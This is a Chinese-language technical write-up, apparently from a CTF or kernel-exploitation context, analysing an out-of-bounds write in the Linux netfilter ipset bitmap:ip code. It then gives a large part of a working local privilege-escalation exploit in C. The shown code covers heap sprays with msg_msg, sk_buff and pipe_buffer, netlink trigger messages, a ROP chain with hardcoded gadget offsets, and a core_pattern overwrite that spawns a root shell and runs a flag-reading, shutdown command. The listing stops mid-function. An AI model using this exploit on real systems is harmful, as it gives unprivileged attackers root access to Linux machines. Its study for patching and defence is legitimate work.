IP sets 是 netfilter/iptables 中的一个扩展,该工具用于管理这些集合。bitmap:ip 类型通过位图实现高效匹配,适合大规模 IP 地址管理
net/netfilter/ipset/ip_set_bitmap_ip.c
中实现,可通过 netlink 与之交互。在 bitmap_ip_uadt
函数中,正常逻辑会先检查单个 IP 是否落在 [map->first_ip, map->last_ip]
范围内( [1]),但当请求中存在 IPSET_ATTR_CIDR
而不存在 IPSET_ATTR_IP_TO
时,代码通过 ip_set_mask_from_to
计算出一段起始/结束 IP( [3]),却未再对起始 IP 做范围检查,仅在后续对 ip_to
做边界检查( [4]),导致从此处可越界写入。
创建一个 bitmap:ip
集合,指定 first_ip
和 last_ip
;
发起 IPSET_CMD_ADD
请求,仅给出 IPSET_ATTR_IP
和 IPSET_ATTR_CIDR
(例如 /3
),无 IPSET_ATTR_IP_TO
;
若 ip = 0xffffffff
、cidr = 3
,那么经过 ip_set_mask_from_to
后:
ip = 0xe0000000
(224.0.0.0
)ip_to = 0xffffffff
(255.255.255.255
)ip
越界至低于 map->first_ip
,但化整后未检查,进入循环写入,触发 OOB 写入。
完整代码会在文章最后提供,此处仅做分析
static int
bitmap_ip_uadt(struct ip_set *set, struct nlattr *tb[],
enum ipset_adt adt, u32 *lineno, u32 flags, bool retried)
{
// ... 省略部分代码 ...
if (ip < map->first_ip || ip > map->last_ip) // [1] 检查初始 IP 是否在范围内
return -IPSET_ERR_BITMAP_RANGE;
...
if (tb[IPSET_ATTR_IP_TO]) { // 如果提供了 IP_TO 参数
ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP_TO], &ip_to);
if (ret)
return ret;
if (ip > ip_to) {
swap(ip, ip_to); // 交换 ip 和 ip_to,确保 ip <= ip_to
if (ip < map->first_ip) // [2] 再次检查交换后的 ip 是否小于范围起始
return -IPSET_ERR_BITMAP_RANGE;
}
} else if (tb[IPSET_ATTR_CIDR]) { // 如果没有 IP_TO 但提供了 CIDR 参数
u8 cidr = nla_get_u8(tb[IPSET_ATTR_CIDR]);
...
ip_set_mask_from_to(ip, ip_to, cidr); // [3] 根据 CIDR 计算新的 ip 和 ip_to
} else { // 如果既没有 IP_TO 也没有 CIDR
ip_to = ip; // 范围只有一个 IP
}
if (ip_to > map->last_ip) // [4] 检查 ip_to 是否超出范围末尾,此处出现问题:仅检查 ip_to
return -IPSET_ERR_BITMAP_RANGE;
for (; !before(ip_to, ip); ip += map->hosts) { // [5] 越界写入循环
e.id = ip_to_id(map, ip); // 计算 IP 对应的 ID (索引)
ret = adtfn(set, &e, &ext, &ext, flags); // 调用 bitmap_ip_add,基于 e.id 写入 ext
// ... 省略部分代码 ...
原因分析:
mtype_add
(即 bitmap_ip_add
)中,根据 e.id
定位扩展数据 get_ext = map->extensions + dsize*id
;id
越界,可在相邻的 kmalloc-cg-192或 SOCKBUF 缓冲区写入数据;ip_set_init_comment
在注释块中写入,泄露相邻堆块地址;SET_WITH_COUNTER
的集合中,mtype_add
调用 ip_set_init_counter(ext_counter, ext)
;ext->bytes
或 ext->packets
被设置时,可将任意 64 位值写到越界位置,篡改堆上控制结构。msg_msgseg
对象(kmalloc-cg-2048)与 bitmap_ip
同 slab 缓存,msg_msgseg.next
,在 free_msg
中触发对任意地址的释放;pipe_buffer
作为 UAF 目标,结合预判地址(基于 kmalloc-192 泄露的高 28 位),构造可控重用。sk_buff
的注释泄露,获取真实堆地址,推算内核基址;pipe_buffer->ops
:释放后重用,覆盖管道缓冲区操作函数表,push rsi; jmp [rsi+0x39]
与 pop rsp; pop r15; ret
)实现栈切换,执行构造的 ROP,core_pattern
技术:ROP 覆盖 /proc/sys/kernel/core_pattern
,指向用户控制的二进制,触发进程崩溃后执行,获取 root shell#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <err.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <stddef.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <netinet/ip.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <libmnl/libmnl.h> // libmnl 用于 Netlink 消息处理
#include <sys/auxv.h>
#include <sys/sendfile.h> // sendfile()
#include <libnftnl/table.h> // libnftnl 相关
#include <libnftnl/flowtable.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/object.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/if_link.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/resource.h>
#include <linux/if.h>
#include <linux/keyctl.h>
#include <byteswap.h>
#include <linux/netfilter/ipset/ip_set.h> // ipset 相关 Netlink 结构和常量
#include <linux/netfilter/ipset/ip_set_bitmap.h>
#include <err.h>
// 定义常量
#define NFNL_SUBSYS_ID_SHIFT 8
#define NFNL_SUBSYS_IPSET 6 // ipset 子系统 ID
#define PAGE_SIZE 0x1000
#define MSG_MSG_SIZE 0x30 // sizeof(struct msg_msg)
#define KMALLOC_CG_2K 0x800 // 目标 slab 大小 2048
#define MSG_MSGSEG_SIZE 0x8
// 检查系统调用返回值的宏
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define NPIPE 0x100 // 创建的管道数量,用于回收内存为 pipe_buffer
#define NMSG 0x1000 // 喷射的消息数量,用于分配 msg_msgseg
#define PAUSE \
{ \
int x; \
printf(":"); \
read(0, &x, 1); \
} // 调试用的暂停宏
// 全局变量
int skbuff_heap_leak[0x100][2]; // 用于堆地址泄漏的 socket pair 数组 (kmalloc-cg-512)
int skbuff_kaslr_leak[0x400][2]; // 用于 KASLR 泄漏和 RIP 控制的 socket pair 数组 (kmalloc-cg-1024)
int pipe_fd[0x100][2]; // 管道文件描述符数组
int msqid[0x4000]; // System V 消息队列 ID 数组
struct // 用于 msgsnd/msgrcv 的消息缓冲区
{
long mtype; // 消息类型
char mtext[0x2000]; // 消息内容,大小足够触发 msg_msgseg 分配
} msg;
struct msg_msg // 消息头结构
{
uint64_t m_list_next;
uint64_t m_list_prev;
uint64_t m_type;
uint64_t m_ts;
uint64_t next; // 指向第一个 msg_msgseg
uint64_t security;
};
struct pipe_buffer // 管道缓冲区结构
{
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops; // 函数指针表地址 (泄露和覆盖的目标)
uint32_t flags;
uint32_t pad;
uint64_t private;
};
// 全局变量 - 漏洞利用关键数据
size_t KERNEL_BASE = 0; // 内核基地址,需要泄漏得到
#define START_ROP 0x50 // ROP 链在缓冲区中的起始偏移
#define STATIC_KBASE 0xffffffff81000000 // 用于计算 gadget 偏移的参考基地址
// ROP Gadgets (地址 = KERNEL_BASE + 偏移)
#define POP_RDI (KERNEL_BASE + (0x0145e109)) // pop rdi ; ret
#define POP_RSI (KERNEL_BASE + (0x0145b835)) // pop rsi ; ret
#define POP_RSI2 (KERNEL_BASE + (0x00ffbe53)) // pop rsi ; mov eax, xxx ; ret (适用于 copy_from_user)
#define POP_RDX (KERNEL_BASE + (0x0145dc80)) // pop rdx ; ret
#define POP_RSP (KERNEL_BASE + (0x0145cc66)) // pop rsp ; ret
#define PIVOT (KERNEL_BASE + (0x00b32a2b)) // push rsi ; jmp qword ptr [rsi + 0x39] (栈迁移 Gadget 1)
#define PIVOT2 (KERNEL_BASE + (0x0015ccee)) // pop rsp ; pop r15 ; ret (栈迁移 Gadget 2)
#define PIVOT3 (KERNEL_BASE + (0x00b32a2b)) // push rsi; jmp qword ptr [rsi+0x39]; (同 PIVOT)
// 内核符号地址 (地址 = KERNEL_BASE + 偏移)
#define CORE_PATTERN (KERNEL_BASE + (0xffffffff83db6520 - STATIC_KBASE)) // core_pattern 变量地址
#define COPY_FROM_USER (KERNEL_BASE + (0xffffffff81983470 - STATIC_KBASE)) // copy_from_user 函数地址
#define MSLEEP (KERNEL_BASE + (0xffffffff812784c0 - STATIC_KBASE)) // msleep 函数地址
#define ANON_PIPE_BUF_OPS_OFF (0xffffffff82c4b100 - STATIC_KBASE) // anon_pipe_buf_ops 符号偏移
char user_buf[] = "|/proc/%P/fd/666 %P"; // 要写入 core_pattern 的内容
char buf[0x1000]; // 通用缓冲区,用于读写 socket/pipe,也用于构建 ROP payload
char name[0x100]; // 用于生成 ipset 名称
size_t pipe_buf_addr = 0; // 泄漏的/猜测的 pipe_buffer 地址
// ROP 链构建宏
#define ROP(idx) ((size_t *)rop)[(idx) + (START_ROP / 8)]
// 构建包含 ROP 链的伪造 pipe_buffer
// rop_addr: 伪造 pipe_buffer 在内核中的地址 (即 pipe_buf_addr)
// rop: 指向用户空间缓冲区的指针,用于构建 payload
int build_fake_pipe_buffer_with_rop_chain(size_t rop_addr, char *rop)
{
// 清零缓冲区,防止残留数据干扰
memset(rop, 0, 0x1000);
// 设置 pipe_buffer.ops 指向 rop_addr + 0x20
*(size_t *)&rop[0x10] = rop_addr + 0x20; // pipe_buffer->ops = &fake_ops
// 在 rop_addr + 0x20 处构建伪造的 pipe_buf_operations 结构
// fake_ops->release = PIVOT3
*(size_t *)&rop[0x28] = PIVOT3;
// 设置 PIVOT3 跳转的目标地址 (位于 rop_addr + 0x39)
// [rop_addr + 0x39] = PIVOT2
*(size_t *)&rop[0x39] = PIVOT2;
// ---- ROP 链 ---- (存储在 rop[START_ROP] 开始的位置)
int i = 0;
// copy_from_user(CORE_PATTERN, user_buf, sizeof(user_buf);
ROP(i++) = POP_RDI; // pop rdi; ret
ROP(i++) = CORE_PATTERN; // rdi = &core_pattern
ROP(i++) = POP_RSI2; // pop rsi; ... ; ret
ROP(i++) = (size_t)&user_buf; // rsi = &user_buf (用户空间地址)
ROP(i++) = POP_RDX; // pop rdx; ret
ROP(i++) = sizeof(user_buf); // rdx = sizeof(user_buf)
ROP(i++) = COPY_FROM_USER; // call copy_from_user
// msleep(0x10000);
ROP(i++) = POP_RDI; // pop rdi; ret
ROP(i++) = 0x10000; // rdi = 0x10000
ROP(i++) = MSLEEP; // call msleep
// 注意:ROP 链末尾不需要显式返回或退出,msleep 后内核会调度
return 0; // 返回表示成功
}
// 将当前进程绑定到指定 CPU 核心
void set_cpu(int c)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(c, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
}
// 底层 Netlink 消息发送函数
int __netlink_send(int fd, const void *nlh, size_t size)
{
struct iovec iov = {
.iov_base = (void *)nlh,
.iov_len = size,
};
struct msghdr msg = {
.msg_name = NULL,
.msg_namelen = 0,
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
if (sendmsg(fd, &msg, 0) < 0)
{
perror("sendmsg()");
return -1;
}
return 0;
}
// Netlink 发送函数 (包装了 __netlink_send)
static inline int netlink_send(int fd, const struct nlmsghdr *nlh)
{
return __netlink_send(fd, nlh, nlh->nlmsg_len);
}
// 打开 Netlink 套接字
int netlink_open(int proto)
{
struct sockaddr_nl addr = {0};
addr.nl_family = AF_NETLINK;
int s = socket(AF_NETLINK, SOCK_RAW, proto); // 创建 Netlink socket
if (s < 0)
{
perror("socket()");
return s;
}
if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) // 绑定地址
{
perror("bind()");
return -1;
}
return s;
}
// 辅助函数:设置通用的 IP Set Netlink 消息结构
// buf: 存储消息的缓冲区
// cmd_type: Netlink 命令类型 (e.g., IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT))
// flags: Netlink 消息标志 (e.g., NLM_F_REQUEST | NLM_F_ACK)
// set_name: IP Set 名称
// type_name: IP Set 类型名称 (e.g., "bitmap:ip", 仅 CREATE 需要)
// family: 地址族 (e.g., AF_INET)
// extra_header_size: 额外的头部大小 (通常是 nfgenmsg 大小)
struct nlmsghdr *setup_ip_set_message(char *buf, int cmd_type, uint16_t flags,
const char *set_name, const char *type_name,
uint8_t family, int extra_header_size)
{
struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); // 放置 Netlink 头部
nlh->nlmsg_type = cmd_type;
nlh->nlmsg_flags = flags;
mnl_nlmsg_put_extra_header(nlh, extra_header_size); // 放置子系统头部 (nfgenmsg)
// 添加通用属性
mnl_attr_put_u8(nlh, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL); // 协议版本
mnl_attr_put_strz(nlh, IPSET_ATTR_SETNAME, set_name); // Set 名称
if (type_name)
{ // 仅 CREATE 命令需要类型名称
mnl_attr_put_strz(nlh, IPSET_ATTR_TYPENAME, type_name);
}
mnl_attr_put_u8(nlh, IPSET_ATTR_FAMILY, family);
mnl_attr_put_u8(nlh, IPSET_ATTR_REVISION, 0); // Revision (通常为 0)
return nlh;
}
// 函数:创建 IP set,目标是分配在 kmalloc-cg-512 缓存中
// sock_fd: Netlink socket fd
// set_name: Set 名称
// type_name: Set 类型 ("bitmap:ip")
// family: 地址族 (AF_INET)
// extra: 标志,如果为 true,则添加 IPSET_FLAG_WITH_COMMENT
int create_ip_set_kmalloc_512(int sock_fd, const char *set_name, const char *type_name,
uint8_t family, int extra)
{
char buf[1024]; // 消息缓冲区
// 设置 Netlink 消息头和通用属性 (命令: CREATE)
struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
NLM_F_REQUEST | NLM_F_ACK,
set_name, type_name, family, 4); // 4 = sizeof(struct nfgenmsg)
// 开始嵌套 IPSET_ATTR_DATA 属性 (包含类型特定数据)
struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
// --- 配置 bitmap:ip 特定参数 ---
// 设置 IP 范围的起始地址 (first_ip)
struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
// 选择 first_ip = -0x35 (0xffffffcb)
// elements = last_ip - first_ip + 1 = -1 - (-0x35) + 1 = 0x35
mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x35));
mnl_attr_nest_end(nlh, attr_ip);
// 设置 IP 范围的结束地址 (last_ip)
attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO);
// last_ip = -1 (0xffffffff)
mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
mnl_attr_nest_end(nlh, attr_ip);
if (extra) // 如果需要添加 Comment 支持
{
// map size = sizeof(struct bitmap_ip) + elements * set->dsize;
// IPSET_FLAG_WITH_COMMENT 使 set->dsize == 0x8 (存储注释指针)
// sizeof(struct bitmap_ip) 大约是 0x58
// 分配大小 = 0x58 + 0x35 * 0x8 = 0x58 + 0x1a8 = 0x200
// 0x200 字节正好落在 kmalloc-cg-512 slab 中
mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER,
htonl(IPSET_FLAG_WITH_COMMENT)); // 添加 Comment 标志
}
mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
return netlink_send(sock_fd, nlh); // 发送消息
}
// 函数:触发 OOB 写以泄漏内核堆地址
// sock_fd: Netlink socket fd
// set_name: 目标 Set 名称 (之前用 create_ip_set_kmalloc_512 创建的那个)
// family: 地址族 (AF_INET)
int trigger_oob_leak(int sock_fd, const char *set_name, uint8_t family)
{
char buf[1024]; // 消息缓冲区
char comment_string[0x100] = {}; // 注释内容缓冲区
// 填充注释字符串,使其大小落在 kmalloc-192 (0x90 + header)
memset(comment_string, 'A', 0x90);
// 设置 Netlink 消息头和通用属性 (命令: ADD)
struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL, // EXCL 确保不添加重复项
set_name, NULL, family, 4);
// 开始嵌套 IPSET_ATTR_DATA 属性
struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
// --- 设置触发漏洞的参数 ---
// 设置 IPSET_ATTR_IP (初始 IP)
struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
// 初始 IP = -1 (0xffffffff),这个值在 [first_ip, last_ip] ([-0x35, -1]) 范围内,可以通过检查 [1]
mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
mnl_attr_nest_end(nlh, attr_ip);
// 设置 IPSET_ATTR_CIDR = 3
// 这将导致 ip_set_mask_from_to 计算出新的 ip = 0xe0000000 (小于 first_ip = -0x35)
// 和 ip_to = 0xffffffff
mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3);
// 添加注释属性,其内容将被 kmalloc 分配并写入 OOB 位置
mnl_attr_put_strz(nlh, IPSET_ATTR_COMMENT, comment_string);
mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
return netlink_send(sock_fd, nlh); // 发送消息,触发漏洞
}
// 函数:创建 IP set,目标是分配在 kmalloc-cg-2048 缓存中
// sock_fd: Netlink socket fd
// set_name: Set 名称
// type_name: Set 类型 ("bitmap:ip")
// family: 地址族 (AF_INET)
// extra: 标志,如果为 true,添加 IPSET_FLAG_WITH_COUNTERS
int create_ip_set_kmalloc_2048(int sock_fd, const char *set_name, const char *type_name,
uint8_t family, int extra)
{
char buf[1024]; // 消息缓冲区
// 设置 Netlink 消息头和通用属性 (命令: CREATE)
struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
NLM_F_REQUEST | NLM_F_ACK,
set_name, type_name, family, 4);
// 开始嵌套 IPSET_ATTR_DATA 属性
struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
// --- 配置 bitmap:ip 特定参数 ---
// 设置 IP 范围的起始地址 (first_ip)
struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
// 选择 first_ip = -0x40 (0xffffffc0)
// elements = last_ip - first_ip + 1 = -1 - (-0x40) + 1 = 0x40
mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x40));
mnl_attr_nest_end(nlh, attr_ip);
// 设置 IP 范围的结束地址 (last_ip)
attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO);
// last_ip = -1 (0xffffffff)
mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
mnl_attr_nest_end(nlh, attr_ip);
if (extra) // 如果需要添加 Counter 支持
{
// 添加 Counter 标志
mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER,
htonl(IPSET_FLAG_WITH_COUNTERS));
// map size = sizeof(struct bitmap_ip) + elements * set->dsize;
// IPSET_FLAG_WITH_COUNTERS 使 set->dsize == 0x10 (存储 counter 结构)
// sizeof(struct bitmap_ip) 大约是 0x58
// 分配大小 = 0x58 + 0x40 * 0x10 = 0x58 + 0x400 = 0x458
// 0x458 字节落在 kmalloc-1k (1024) 或 kmalloc-2k (2048) 中,取决于对齐和头大小
// 作者选择 kmalloc-cg-2048,可能基于实际测试或内核版本特定行为
}
mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
return netlink_send(sock_fd, nlh); // 发送消息
}
// 函数:向集合中添加一个 IP 地址 (用于设置位,防止 OOB 循环失控)
// sock_fd: Netlink socket fd
// set_name: Set 名称
// family: 地址族 (AF_INET)
// ip: 要添加的 IP 地址 (网络字节序)
int add_ip_to_set(int sock_fd, const char *set_name, uint8_t family, uint32_t ip)
{
char buf[1024]; // 消息缓冲区
// 设置 Netlink 消息头和通用属性 (命令: ADD)
struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL,
set_name, NULL, family, 4);
// 开始嵌套 IPSET_ATTR_DATA 属性
struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
// 设置 IPSET_ATTR_IP
struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip);
mnl_attr_nest_end(nlh, attr_ip);
// 这里也设置了 IP_TO,确保只添加单个 IP
attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO);
mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip);
mnl_attr_nest_end(nlh, attr_ip);
mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
return netlink_send(sock_fd, nlh); // 发送消息
}
// 函数:触发 OOB 写以写入任意值 (使用 Counter)
// sock_fd: Netlink socket fd
// set_name: 目标 Set 名称 (之前用 create_ip_set_kmalloc_2048 创建的那个)
// family: 地址族 (AF_INET)
int trigger_oob_write(int sock_fd, const char *set_name, uint8_t family)
{
char buf[1024]; // 消息缓冲区
// 设置 Netlink 消息头和通用属性 (命令: ADD)
struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL,
set_name, NULL, family, 4);
// 开始嵌套 IPSET_ATTR_DATA 属性
struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
// --- 设置触发漏洞的参数 ---
// 设置 IPSET_ATTR_IP (初始 IP)
struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
// 初始 IP = -1 (0xffffffff),在 [first_ip, last_ip] ([-0x40, -1]) 范围内
mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
mnl_attr_nest_end(nlh, attr_ip);
// 设置 IPSET_ATTR_CIDR = 3
// 导致新的 ip = 0xe0000000 (小于 first_ip = -0x40)
mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3);
// 设置要通过 OOB 写入的值 (目标是覆盖 msg_msgseg->next)
// 使用 IPSET_ATTR_BYTES 和 IPSET_ATTR_PACKETS 传递 64 位值
// 需要进行字节序转换 (bswap_64),因为内核期望的是网络字节序,但写入内存时需要主机字节序
// 然而 atomic64_set 直接使用 long long,这里用 bswap_64 可能不完全正确,取决于目标架构和内核实现细节
// 但通常为了跨架构兼容性,会进行转换
mnl_attr_put_u64(nlh, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr)); // 要写入的猜测的 pipe_buffer 地址
mnl_attr_put_u64(nlh, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr)); // 写入相同的值到 packets 字段
mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA
return netlink_send(sock_fd, nlh); // 发送消息,触发 OOB 写
}
// 函数:检查 core_pattern 是否已被修改
int check_core()
{
char buf[0x100] = {};
int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); // 打开 core_pattern 文件
if (core < 0) return 0; // 打开失败则认为未修改
read(core, buf, sizeof(buf) - 1); // 读取内容
close(core);
// 比较读取到的内容是否以我们设置的前缀开头
return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
// 函数:用于触发程序崩溃 (在提权后执行)
// cmd: 未使用的参数
void crash(char *cmd)
{
// 1. 创建内存文件描述符
int memfd = memfd_create("", 0);
SYSCHK(memfd);
// 2. 将当前可执行文件内容复制到内存 fd
SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
// 3. 将内存 fd 复制到 fd 666 (core_pattern 中使用的 fd)
dup2(memfd, 666);
close(memfd); // 关闭原始 memfd
// 4. 循环等待,直到 core_pattern 被 ROP 链修改
while (check_core() == 0)
usleep(100); // 短暂休眠,避免 CPU 占用过高
puts("Root shell !!");
// 5. 触发崩溃 (写入 NULL 指针)
*(size_t *)0 = 0;
}
// 主函数
int main(int argc, char **argv)
{
setvbuf(stdout, 0, 2, 0); // 关闭 stdout 缓冲
// --- Payload 执行逻辑 ---
// 如果收到了参数 (由 core_pattern 启动时会传入 PID),则执行提权后的操作
if (argc > 1)
{
// #define SYS_pidfd_getfd 438 (获取 pidfd 指向进程的 fd)
// #define SYS_pidfd_open 434 (打开一个进程的 pidfd)
int pid = strtoull(argv[1], 0, 10); // 获取崩溃进程的 PID
int pfd = syscall(SYS_pidfd_open, pid, 0); // 打开该进程的 pidfd
SYSCHK(pfd);
// 获取原始进程 (exploit 主进程) 的标准输入/输出/错误 fd
int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
SYSCHK(stdinfd); SYSCHK(stdoutfd); SYSCHK(stderrfd);
// 将当前进程 (root 权限) 的标准输入输出重定向到原始进程
dup2(stdinfd, 0);
dup2(stdoutfd, 1);
dup2(stderrfd, 2);
close(pfd); close(stdinfd); close(stdoutfd); close(stderrfd);
// 执行命令获取 flag 并关机
system("cat /flag;echo o>/proc/sysrq-trigger");
exit(0); // 确保退出
}
// --- 崩溃触发器进程 ---
// fork 一个子进程,该子进程将等待 core_pattern 被修改后触发崩溃
if (fork() == 0)
{
set_cpu(0); // 绑定到 CPU 0
setsid(); // 创建新会话,脱离控制终端
crash(""); // 进入崩溃等待和触发逻辑
exit(0); // 不应执行到这里
}
// --- Exploit 主进程 ---
set_cpu(1); // 绑定到 CPU 1,减少与其他进程的干扰
// 提高文件描述符限制,因为会打开大量 socket 和 pipe
struct rlimit rlim = {
.rlim_cur = 0x1000,
.rlim_max = 0x1000};
SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));
// --- 准备 KASLR 泄漏阶段的堆喷射 ---
// 创建大量 UNIX domain socket pairs
for (int i = 0; i < 0x400; i++)
{
size_t val = 0x400000; // 设置大的缓冲区,可能影响 skb 分配
SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, skbuff_kaslr_leak[i]));
// 设置 socket 缓冲区大小 (SO_SNDBUF, SO_RCVBUF)
SYSCHK(setsockopt(skbuff_kaslr_leak[i][0], SOL_SOCKET, SO_SNDBUF, &val, 4));
SYSCHK(setsockopt(skbuff_kaslr_leak[i][1], SOL_SOCKET, SO_SNDBUF, &val, 4));
SYSCHK(setsockopt(skbuff_kaslr_leak[i][0], SOL_SOCKET, SO_RCVBUF, &val, 4));
SYSCHK(setsockopt(skbuff_kaslr_leak[i][1], SOL_SOCKET, SO_RCVBUF, &val, 4));
}
// --- 喷射 sk_buff (kmalloc-cg-1024) ---
// 向 socket 写入数据,触发 skb 分配 (大小 0x200 + 头 ~ 1KB)
// 这是为了后续 KASLR 泄漏和 UAF -> RIP 控制阶段做准备
// 目的是让堆中充满 skb,增加后续操作命中 skb 的概率
for (int i = 0; i < 0x400; i++)
{
for (int j = 0; j < 0x100; j++)
{
// 写入 0x200 字节,加上 skb 头,通常会分配在 kmalloc-1024
write(skbuff_kaslr_leak[i][0], buf, 0x200);
write(skbuff_kaslr_leak[i][1], buf, 0x200);
}
}
Loop: // 如果堆地址泄漏失败,则跳转回这里重试
// Fork 子进程进行漏洞利用尝试
if (fork() != 0) // 父进程
{
int status = 0;
wait(&status); // 等待子进程结束
if (status == 0) // 子进程 exit(0) 表示泄漏失败
{
puts("Leak kheap fail, retry");
goto Loop; // 跳转回 Loop 重试
}
// 如果子进程非正常退出或 exit 非 0 (表示可能成功或正在进行)
// 父进程暂停自身,等待子进程完成 ROP 或被 crash 进程接管
raise(SIGSTOP);
// 父进程理论上不会再继续执行,除非被外部信号唤醒
exit(0); // 添加退出,防止意外继续
}
// --- 子进程:执行实际的漏洞利用 ---
// 创建新的命名空间 (User, Network, IPC)
// User NS: 允许执行需要 CAP_NET_ADMIN 的操作 (如 ipset)
// Net NS: 隔离网络环境
// IPC NS: 隔离消息队列
SYSCHK(unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWIPC));
// --- 准备 msg_msgseg 喷射 ---
// 创建大量 System V 消息队列
for (int i = 0; i < 0x4000; i++)
{
msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
SYSCHK(msqid[i]);
}
// --- 准备堆地址泄漏阶段的堆喷射 ---
// 创建用于 kmalloc-cg-512 喷射的 socket pairs
for (int i = 0; i < 0x100; i++)
{
SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, skbuff_heap_leak[i]));
}
msg.mtype = 1; // 设置消息类型
int fail = 1; // 未使用的变量
// 打开 Netlink 套接字 (用于与 ipset 交互)
int sock_fd = netlink_open(NETLINK_NETFILTER);
if (sock_fd < 0)
{
fprintf(stderr, "Failed to open Netlink socket\n");
return EXIT_FAILURE;
}
// --- 阶段一:内核堆地址泄漏 ---
printf("[+] Stage 1: Kernel Heap Leak\n");
// 循环创建 ipset 对象,并进行堆喷射
for (int i = 0; i < 0x1000; i++)
{
sprintf(name, "%d", i); // 生成唯一的 ipset 名称
